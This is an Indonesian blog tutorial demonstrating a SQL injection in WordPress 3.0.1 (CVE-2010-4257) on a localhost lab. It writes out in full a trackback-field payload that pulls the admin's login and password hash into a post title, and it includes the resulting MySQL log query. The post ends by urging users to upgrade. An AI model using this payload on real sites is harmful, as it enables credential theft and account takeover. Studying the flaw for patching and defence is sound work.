Eksploit WordPress 3.0.1 (CVE-2010-4257) – SQL Injection

Special Thanks to : Vladimir

Catatan :

Perlahan, blog tanyarezaervani juga akan memuat beberapa Pembuktian Konsep Eksploit dari database Vulnerabiliti yang ada. Tujuannya adalah untuk pembelajaran juga pengetahuan bagi para pengguna awam di internet serta penguat anjuran untuk melakukan upgrade jika ternyata perangkat lunak Open Source yang anda gunakan masih memiliki kerentanan yang ditunjukkan.

Daftar kerentanan sedang coba dikoleksi di : https://tanyarezaervani.wordpress.com/vulnerability-database/

Penyalahgunaan tutorial berada diluar tanggung jawab pengelola blog.

Setiap tutorial selalu disertai dengan saran untuk mengupgrade versi perangkat lunak yang ada.

Catatan CVE :

CVE-2010-4257

Prosedur dan Lingkungan Kerja :

Lingkungan Kerja kita adalah WordPress 3.0.1 yang diinstall di Localhost

Eksploit terhadap Kerentanan ini mensyaratkan akses ke dashboard.

Misalnya wordpress yang ada memperkenankan autoregister sebagai author/penulis – seperti yang kita siapkan dalam lingkungan Lab Ujicoba kita kali ini :

Yang biasanya diset lewat pengaturan di Setting –> General / Pengaturan –> General :

Eksploit :

Seorang pengguna terautentikasi dapat melakukan eksploitasi dengan cara berikut :

Membuat tulisan (judul tulisan dan isi tulisan tidak berpengaruh) dan menuliskan di kolom trackback kode seperti berikut :


AAA','')),post_title=(select/**/concat(user_login,'|',user_pass)/**/from/**/wp_users/**/where/**/id=1),post_content_filtered=TRIM(REPLACE(to_ping,'

Lalu mempublikasikannya.

Tampak seperti pada gambar berikut :

Setelah terpublikasi, sang penyerang dapat kemudian mengedit lagi tulisan tersebut dan melakukan penambahan kode yang sama sehingga tampak seperti berikut :


AAA','')),post_title=(select/**/concat(user_login,'|',user_pass)/**/from/**/wp_users/**/where/**/id=1),post_content_filtered=TRIM(REPLACE(to_ping,'
AAA','')),post_title=(select/**/concat(user_login,'|',user_pass)/**/from/**/wp_users/**/where/**/id=1),post_content_filtered=TRIM(REPLACE(to_ping,'

Trackbacks tersebut akan diproses oleh fungsi get_to_ping()

Setelah melakukan update maka yang terjadi adalah kolom judul post akan menampilkan sesuatu seperti tampak dalam screenshot berikut ini :

Atau di halaman muka wordpress :

Mari kita bandingkan keluaran itu dengan apa yang tampak pada database wordpress di tabel wp_user seperti tampak berikut :

Tampak bahwa user salt, password salt dapat tereksploitasi

Analisa mysql.log :

Jika kita cek log di mysql pada waktu perintah ini dieksekusi, maka mysql.log akan menunjukkan bahwa wordpress mengeksekusi perintah MySQL seperti tampak pada kode berikut ini :


130 Query    UPDATE wp_posts SET to_ping = TRIM(REPLACE(to_ping, 'AAA','')),post_title=(select/**/concat(user_login,'|',user_pass)/**/from/**/wp_users/**/where/**/id=1),post_content_filtered=TRIM(REPLACE(to_ping,'', '')) WHERE ID = 8

Yang mengupdate tabel wp_posts dengan mengambil nilai dari kolom user_login dan user_pass pada tabel wp_user dengan id=1.

Jadi jika anda masih menggunakan WordPress 3.0.1 atau yang lebih rendah, silahkan update wordpress anda ke versi yang terbaru.

Demikian, Semoga bermanfaat (rezaervani@gmail.com – rezaervani@mail.ru)